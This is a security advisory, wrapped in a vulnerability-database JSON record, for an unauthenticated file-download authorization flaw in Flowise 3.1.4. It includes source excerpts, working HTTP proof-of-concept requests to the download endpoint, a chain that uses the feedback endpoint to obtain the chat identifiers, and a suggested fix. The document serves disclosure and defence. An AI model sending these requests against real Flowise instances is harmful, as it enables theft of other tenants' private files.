{"uuid": "8cc52817-395e-43fb-9b48-1ce7603468bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-71962", "type": "seen", "source": "https://gist.github.com/haidang-infosec/402db84bee7aca2f57bb109b31574649", "content": "# CVE-2026-71962: Unauthenticated Cross-Tenant File Disclosure in Flowise via `openai-assistants-file/download`\n\n**CVE ID:** CVE-2026-71962\n**CNA:** VulnCheck\n**Author:** Mai Hai Dang (haidang.infosec@gmail.com)\n**Report date:** 2026-08-09\n**Product:** Flowise ([FlowiseAI/Flowise](https://github.com/FlowiseAI/Flowise), npm package `flowise`)\n**Affected component:** `packages/server` \u2014 REST API\n**Vulnerability class:** Missing Authorization / Insecure Direct Object Reference (IDOR)\n**CWE:** CWE-862 (Missing Authorization) \u2014 primary; CWE-639 (Authorization Bypass Through User-Controlled Key) \u2014 secondary\n**CVSS 3.1:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` \u2014 **7.5 (High)**\n**CVSS 4.0:** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` \u2014 **8.7 (High)**\n\n---\n\n## 1. Summary\n\nThe Flowise REST API endpoint `POST /api/v1/openai-assistants-file/download` is served without any authentication check \u2014 it is listed in the server's global `WHITELIST_URLS`, which bypasses both session-cookie and API-key authentication for any request whose path matches it. The handler behind this endpoint (`getFileFromAssistant`) resolves and streams a file from the server's file storage (local disk or S3, depending on deployment) using three client-supplied identifiers \u2014 `chatflowId`, `chatId`, `fileName` \u2014 without ever verifying that the target chatflow is public (`isPublic: true`) or that the requester belongs to the workspace that owns it.\n\nAn unauthenticated requester who knows a valid `chatflowId`/`chatId`/`fileName` tuple can retrieve the corresponding stored file without any authentication or workspace-membership check. This was directly reproduced against a private chatflow (Section 4). Cross-workspace/cross-organization impact is not separately runtime-tested with two tenants, but follows directly from the handler's data flow: `getFileFromAssistant` resolves the owning workspace and organization from the *supplied* `chatflowId` alone (Section 3.3) and never evaluates the requester's identity, so the same zero-authentication request works identically regardless of which workspace or organization the target chatflow belongs to.\n\nThis is a distinct defect from the previously disclosed and patched path-traversal vulnerabilities affecting the same endpoint (GHSA-99pg-hqvx-r4gf, GHSA-q67q-549q-p849); those were fixed by adding strict path-traversal validation to `chatflowId`/`chatId`/`fileName`, which is confirmed present and effective in the version tested. The defect reported here is a pure authorization gap: the request never leaves the *intended* storage path, it simply is never checked for ownership.\n\n## 2. Affected Versions\n\n| Scope | Status |\n|---|---|\n| npm `flowise` `3.1.4` (latest published release, git tag `flowise@3.1.4` = commit `a65f81bb`, 2026-07-29) | Confirmed by runtime reproduction (Section 4) |\n| Current public GitHub `main` branch HEAD | Confirmed by source inspection (code path unchanged relative to `3.1.4`) |\n| npm `flowise` `2.2.4` \u2013 `3.1.3` | Presumed affected, based on `git log`/`git blame` showing the vulnerable code has been present, unmodified, since `2.2.4`; not individually runtime-tested per version |\n\nThe PoC in this report was reproduced by checking out the official release tag directly (`git checkout flowise@3.1.4`), removing any ambiguity about whether the finding applies to unreleased code.\n\n**Version history (established via `git log`/`git blame` against the public repository):**\n- The `WHITELIST_URLS` entry for this exact path was introduced in commit `8d266052` (\"Feature/update upsert API\"), dated 2025-01-09, first shipped in release `2.2.4`. `git log -S` against the literal route string shows this is the only commit that has ever touched it \u2014 it has never been removed or narrowed.\n- The `getFileFromAssistant` handler has never, at any point in its history, contained an `isPublic`, `req.user`, or workspace-membership check (`git log -S\"isPublic\"` on the controller file returns zero matches).\n- The most recent related fix in this file, commit `0b74fc07` (\"fix: flowise-603\", 2026-08-07 \u2014 the fix for the previously reported CVE-2026-67622 credential-confused-deputy issue), added workspace scoping to three sibling handlers in the same file (`getAllOpenaiAssistants`, `getSingleOpenaiAssistant`, `uploadAssistantFiles`) but did not touch `getFileFromAssistant`.\n\n## 3. Technical Details\n\n### 3.1 Authentication bypass (whitelist)\n\n`packages/server/src/utils/constants.ts`:\n```ts\nexport const WHITELIST_URLS = [\n    ...\n    '/api/v1/openai-assistants-file/download',\n    ...\n]\n```\n\n`packages/server/src/index.ts` (global auth middleware):\n```ts\nconst isWhitelisted = whitelistURLs.some((url) =&gt; req.path.startsWith(url))\nif (isWhitelisted) {\n    next()   // skips verifyToken() (session/JWT) and validateAPIKey() entirely\n}\n```\n\n### 3.2 Route has no permission middleware\n\n`packages/server/src/routes/openai-assistants-files/index.ts` \u2014 contrast with the sibling `upload/` route on the same router, which *does* enforce RBAC:\n```ts\nrouter.post('/download/', openaiAssistantsController.getFileFromAssistant)\n\nrouter.post(\n    '/upload/',\n    checkAnyPermission('assistants:create,assistants:update'),\n    getMulterStorage().array('files'),\n    openaiAssistantsController.uploadAssistantFiles\n)\n```\n\n### 3.3 Controller performs no ownership check\n\n`packages/server/src/controllers/openai-assistants/index.ts`, `getFileFromAssistant`:\n```ts\nconst getFileFromAssistant = async (req: Request, res: Response, next: NextFunction) =&gt; {\n    const chatflowId = req.body.chatflowId as string\n    const chatId = req.body.chatId as string\n    const fileName = req.body.fileName as string\n\n    // \"This can be public API, so we can only get orgId from the chatflow\"\n    const chatflow = await appServer.AppDataSource.getRepository(ChatFlow).findOneBy({ id: chatflowId })\n    // no isPublic check\n    // no req.user / workspace check\n\n    const orgId = workspace.organizationId as string\n    res.setHeader('Content-Disposition', contentDisposition(fileName))\n    const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId)\n    fileStream.pipe(res)\n}\n```\n\nThe comment in the source (`\"This can be public API...\"`) shows the author was aware this handler must operate without `req.user`, but never added the corresponding public/private gate.\n\n### 3.4 The codebase's own correct pattern for this exact situation\n\n`packages/server/src/controllers/chatflows/index.ts`, `getSinglePublicChatflow` \u2014 the pattern that should have been applied to `getFileFromAssistant`:\n```ts\nconst chatflow = await chatflowsService.getChatflowById(req.params.id)\nif (!chatflow) return res.status(404).json({ message: 'Chatflow not found' })\nif (chatflow.isPublic)\n    return res.status(200).json({ ...chatflow, flowData: sanitizeFlowDataForPublicEndpoint(chatflow.flowData) })\nif (!req.user) return res.status(401).json({ message: 'Unauthorized' })\nif (!workspaceIds.includes(chatflow.workspaceId))\n    return res.status(400).json({ message: 'You are not in the workspace that owns this chatflow' })\n```\nThis is the exact three-step check \u2014 (1) `chatflow.isPublic`, (2) `req.user` presence, (3) `workspaceIds.includes(chatflow.workspaceId)` \u2014 that `getFileFromAssistant` omits entirely. Its presence elsewhere in the same codebase demonstrates this is an oversight, not an intentional design decision.\n\n### 3.5 Ruled out: this is not a path-traversal bug\n\n`packages/components/src/storage/BaseStorageProvider.ts` (`sanitizeFilename`, `validatePathSecurity`) and `LocalStorageProvider.streamStorageFile` validate all three path components and reject `..`/absolute-path escape attempts before touching the filesystem. This closes off the vector exploited by the previously fixed GHSA-99pg-hqvx-r4gf / GHSA-q67q-549q-p849. The finding in this report requires no traversal \u2014 it retrieves a file from exactly the path the application itself would use, for a resource the caller has no authorization to access.\n\n### 3.6 Legitimate file-creation path (storage layout is not test-only)\n\nThe PoC in Section 4 places the victim file directly on disk as a deterministic test fixture rather than through a real chat interaction. This section establishes that the fixture's location is not artificial: it is exactly the layout Flowise's own, ordinary chat-attachment upload workflow writes to.\n\n`packages/server/src/utils/buildChatflow.ts`, in the request-handling path for chat messages that include file/image/audio uploads (`uploads`), including on public-facing chatflows with no authentication required to converse:\n```ts\nconst { totalSize } = await addSingleFileToStorage(mime, bf, filename, orgId, chatflowid, chatId)\n```\n`addSingleFileToStorage(mime, buffer, filename, orgId, chatflowid, chatId)` writes to `////` \u2014 the identical path structure `streamStorageFile` reads from in the vulnerable handler (Section 3.3):\n```\nLegitimate file creation:                     Vulnerable retrieval:\nbuildChatflow.ts (chat upload handling)       getFileFromAssistant()\n  -&gt; addSingleFileToStorage(                    -&gt; streamStorageFile(\n      mime, buffer, filename,                       chatflowId, chatId,\n      orgId, chatflowid, chatId)                     fileName, orgId)\n  -&gt; writes ///  -&gt; reads the same path\n```\nThe file in the PoC was placed directly only to create a deterministic test fixture; its path and naming layout exactly match the storage layout produced by this legitimate, unauthenticated-reachable upload workflow.\n\n### 3.7 Identifier exposure and attack prerequisites\n\nThe identifiers consumed by the vulnerable endpoint \u2014 `chatflowId`, `chatId`, `fileName` \u2014 are ordinary client-side resource locators, not authorization credentials or server-issued capability tokens:\n\n- `chatId` is generated client-side (`const [chatId, setChatId] = useState(uuidv4())`, `packages/ui/src/views/chatmessage/ChatMessage.jsx:213`) and persisted via `localStorage.setItem` (`packages/ui/src/utils/genericHelper.js:889`, `setLocalStorageChatflow`) \u2014 it is never issued or cryptographically bound to a session by the server.\n- The official frontend embeds `chatflowId`, `chatId`, and `fileName` directly, in plaintext, in file URLs it renders in the chat UI, e.g. `${baseURL}/api/v1/get-upload-file?chatflowId=${chatflowid}&amp;chatId=${chatId}&amp;fileName=${...}` (`ChatMessage.jsx:719, 1338, 1349`).\n\n`chatId` is not an authorization credential and is not cryptographically bound to the requester's identity or session. Consequently, possession of a `chatflowId`/`chatId`/`fileName` tuple must not be treated by the server as proof of authorization \u2014 yet `getFileFromAssistant` treats it as sufficient. Because these values are exposed to the browser DOM and network layer by ordinary use of the product, they may consequently appear in client-side logs, reverse-proxy or gateway logs, monitoring/APM systems, shared HTML, or diagnostic material such as exported conversations or bug reports.\n\n**What this evidence does *not* establish:** observing that identifiers for a given (e.g. public) chatflow are exposed in that chatflow's own UI does not by itself demonstrate that an attacker can obtain the tuple for an *arbitrary, unrelated private* target chatflow. This report does not claim that. The exploitation prerequisite is stated precisely as:\n\n&gt; Exploitation requires knowledge of the exact `chatflowId`/`chatId`/`fileName` tuple for the target file. This report does not rely on guessing, brute-forcing, path traversal, or bypassing UUID validation to obtain that tuple \u2014 Section 3.5 confirms no traversal path exists, and none is needed once the tuple is known. How a specific attacker obtains a specific target's tuple is scenario-dependent and outside the scope of this report; the defect is that the server performs no authorization check at all once the tuple is presented, regardless of how it was obtained.\n\n## 4. Proof of Concept\n\nReproduced end-to-end against the **official `flowise@3.1.4` release tag**, built and run via the project's own `Dockerfile` (`docker build -t flowise-local:3.1.4 .`), default configuration (local file storage, SQLite).\n\n**Scope of this PoC:** the following is directly reproduced against a single private chatflow within a single organization/workspace \u2014 a second tenant was not separately stood up. Cross-workspace/cross-organization impact is established by the handler's own logic, not by this specific run (see Section 1).\n\n### 4.1 Setup\n\n1. Created a workspace-owner account via the normal setup UI.\n2. `POST /api/v1/chatflows`, authenticated, `isPublic: false` \u2014 created the private target chatflow (`id = 3055de1b-586b-4756-9e77-da2c19b62f95`, `workspaceId = 53141120-b356-452a-b34d-28549fdbab9d`, `organizationId = b2439594-7c21-4bf7-86b6-b1d90ffd40b8`).\n3. A file was placed at the exact path the application itself uses for chat-generated/uploaded files \u2014 `////` \u2014 as a deterministic test fixture matching the legitimate upload workflow traced in Section 3.6.\n\n### 4.2 Request A \u2014 Control\n\nSent with **no** `Cookie`/`Authorization` header, targeting the equivalent metadata-read endpoint for the same resource:\n```\nGET /api/v1/chatflows/3055de1b-586b-4756-9e77-da2c19b62f95 HTTP/1.1\nHost: localhost:3000\n```\n**Response:** `HTTP/1.1 401 Unauthorized`\n```json\n{\"message\":\"Invalid or Missing token\"}\n```\nThis confirms the platform *does* enforce authentication on the equivalent, properly-guarded endpoint for the identical resource.\n\n### 4.3 Request B \u2014 Exploit\n\nSent with **no** `Cookie`/`Authorization` header at all, against the vulnerable endpoint:\n```\nPOST /api/v1/openai-assistants-file/download HTTP/1.1\nHost: localhost:3000\nContent-Type: application/json\nContent-Length: 123\n\n{\"chatflowId\":\"3055de1b-586b-4756-9e77-da2c19b62f95\",\"chatId\":\"e29b8f3a-victim-chat-01\",\"fileName\":\"secret-report.txt\"}\n```\n**Response:** `HTTP/1.1 200 OK`\n```\nContent-Disposition: attachment; filename=\"secret-report.txt\"\n\nCONFIDENTIAL - victim workspace uploaded file - should NOT be downloadable without auth\n```\n\nRequest A (targeting the exact same private resource, via the properly-guarded metadata endpoint) was correctly rejected; Request B (targeting the file-download endpoint) was not \u2014 isolating the defect to this specific handler rather than a global authentication failure.\n\n### 4.4 Additional confirmation \u2014 full unauthenticated identifier-acquisition chain\n\nIn a related finding against the same instance, the sibling whitelisted endpoint `GET /api/v1/feedback/:chatflowId` (`packages/server/src/controllers/feedback/index.ts`, `packages/server/src/utils/getChatMessageFeedback.ts`) was found to return `ChatMessageFeedback` records \u2014 including the real `chatId` for the chatflow \u2014 for **any** `chatflowId`, with the same missing-authorization pattern and no additional identifiers required:\n```\nGET /api/v1/feedback/3055de1b-586b-4756-9e77-da2c19b62f95 HTTP/1.1\nHost: localhost:3000\n```\n```json\n[{\"id\":\"...\",\"chatflowid\":\"3055de1b-...\",\"chatId\":\"e29b8f3a-victim-chat-01\",\"messageId\":\"...\",\"rating\":\"THUMBS_DOWN\",\"content\":\"...\",\"createdDate\":\"...\"}]\n```\nThe `chatId` returned by this unauthenticated request was then used, unmodified, in Request B above and successfully retrieved the file \u2014 demonstrating that an attacker starting with **only a `chatflowId`** (routinely exposed in public chat-widget embed snippets by design) can obtain the remaining identifiers and exploit CVE-2026-71962 end-to-end without any out-of-band information.\n\n## 5. Impact\n\n- **Confidentiality (High):** Disclosure of user-uploaded and AI/tool-generated files belonging to any chatflow on the instance \u2014 including private, non-public chatflows in other workspaces/organizations \u2014 without any credentials, once the target's identifier tuple is known (Section 3.7).\n- **Scope:** Because `getFileFromAssistant` resolves the target organization/workspace from the *supplied* `chatflowId` rather than from the requester, the tenant-isolation boundary for file storage provides no protection against this endpoint on any multi-tenant deployment (Flowise Cloud, or self-hosted instances serving multiple organizations/workspaces).\n- **Attack complexity \u2014 CVSS rationale:** Once a target file's `chatflowId`/`chatId`/`fileName` tuple is known, exploitation requires exactly one unauthenticated HTTP request, with no race condition, no brute-forcing or guessing of the identifiers, no cryptographic bypass, no path traversal or UUID-validation bypass (Section 3.5), and no unusual or rare deployment condition. Section 4.4 additionally demonstrates a fully self-contained, unauthenticated identifier-acquisition chain requiring only a `chatflowId` to start.\n\n## 6. Suggested Remediation\n\n*Illustrative remediation based on the membership pattern already used by `getSinglePublicChatflow` \u2014 not a compile-tested, drop-in patch.* Apply the same authorization gate already used elsewhere in the codebase to `getFileFromAssistant`. Note this deliberately checks **workspace membership**, not merely the requester's *currently active* workspace (`req.user.activeWorkspaceId`):\n```ts\nconst chatflow = await appServer.AppDataSource.getRepository(ChatFlow).findOneBy({ id: chatflowId })\nif (!chatflow) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, `Chatflow ${chatflowId} not found`)\n\nif (!chatflow.isPublic) {\n    if (!req.user) return res.status(StatusCodes.UNAUTHORIZED).json({ message: 'Unauthorized' })\n\n    const workspaceUser = await workspaceUserService.readWorkspaceUserByUserId(req.user.id, queryRunner)\n    const workspaceIds = workspaceUser.map((wu) =&gt; wu.workspaceId)\n    if (!workspaceIds.includes(chatflow.workspaceId)) {\n        return res.status(StatusCodes.FORBIDDEN).json({ message: 'Forbidden' })\n    }\n}\n```\nSuggested status-code convention: `401` when no valid credentials are presented at all, `403` once authenticated but lacking the required workspace membership. As defense in depth, consider binding `chatId` to a server-issued, per-session token rather than trusting a bare client-supplied UUID, even for legitimately public chatflows. The same fix should be applied to `GET /api/v1/feedback/:chatflowId` (Section 4.4).\n\n## 7. Prior Art / Duplicate Check\n\nCross-referenced against all publicly indexed Flowise CVEs and GitHub Security Advisories as of 2026-08-09 that relate to this endpoint or file-storage authorization in general:\n\n| Advisory | Endpoint | Root cause | Relation to this report |\n|---|---|---|---|\n| GHSA-99pg-hqvx-r4gf | same endpoint | Path traversal via unvalidated `chatId` (reads `database.sqlite`) | Different defect, fixed in 3.0.6; traversal guard confirmed present and effective in the version tested here |\n| GHSA-q67q-549q-p849 | same endpoint + `get-upload-file` | Path traversal, `chatflowId` not UUID-validated | Different defect, fixed in 3.0.6 |\n| CVE-2026-67622 | `openai-assistants` (list/retrieve) | Confused-deputy via client-controlled `credential` UUID | Different endpoint and mechanism \u2014 uses OpenAI's own API via a stolen credential reference |\n| CVE-2026-70472 | `openai-assistants-vector-store` | Same credential-UUID confused-deputy pattern | Different endpoint/mechanism |\n| CVE-2026-69252 | `/api/v1/files` (GET/DELETE) | Missing `checkPermission` for authenticated API-key callers | Different endpoint; requires a valid API key (`PR:L`), this finding requires none (`PR:N`) |\n| CVE-2026-70473 | `/upsert-history` | Unscoped, server-wide history disclosure | Different endpoint/data class |\n\nNo existing advisory describes a missing-`isPublic`/ownership check on `openai-assistants-file/download` distinct from the path-traversal issue. A relevant architectural precedent is CVE-2026-69258 (`POST /api/v1/prediction/:id`, also whitelisted by design, CVSS 8.2) \u2014 an intentionally public/whitelisted endpoint later found to have a specific, narrower authorization gap within that intended public surface, similar in shape to the finding reported here.\n\n## 8. Disclosure Timeline\n\n- **2026-08-09** \u2014 Vulnerability identified via source review of the official `flowise@3.1.4` release tag.\n- **2026-08-09** \u2014 Live-reproduced end-to-end against a Docker build of the same tag.\n- **2026-08-09** \u2014 Reported to VulnCheck (disclosures@vulncheck.com).\n- **2026-08-10** \u2014 VulnCheck confirmed and reserved **CVE-2026-71962**.\n- **Vendor status:** FlowiseAI/Flowise's `SECURITY.md` states the project is being sunset and is no longer accepting new vulnerability reports; the repository was scheduled for GitHub archival (2026-08-10 per the project's published sunset notice: https://flowiseai.com/sunset). Standard vendor-coordinated disclosure via GitHub Security Advisories was therefore not available, and this report was submitted through VulnCheck as a CVE Numbering Authority that does not require vendor participation.\n\n## 9. Credit\n\nDiscovered and reported by **Mai Hai Dang** (haidang.infosec@gmail.com).", "creation_timestamp": "2026-08-10T17:18:10.145744Z"}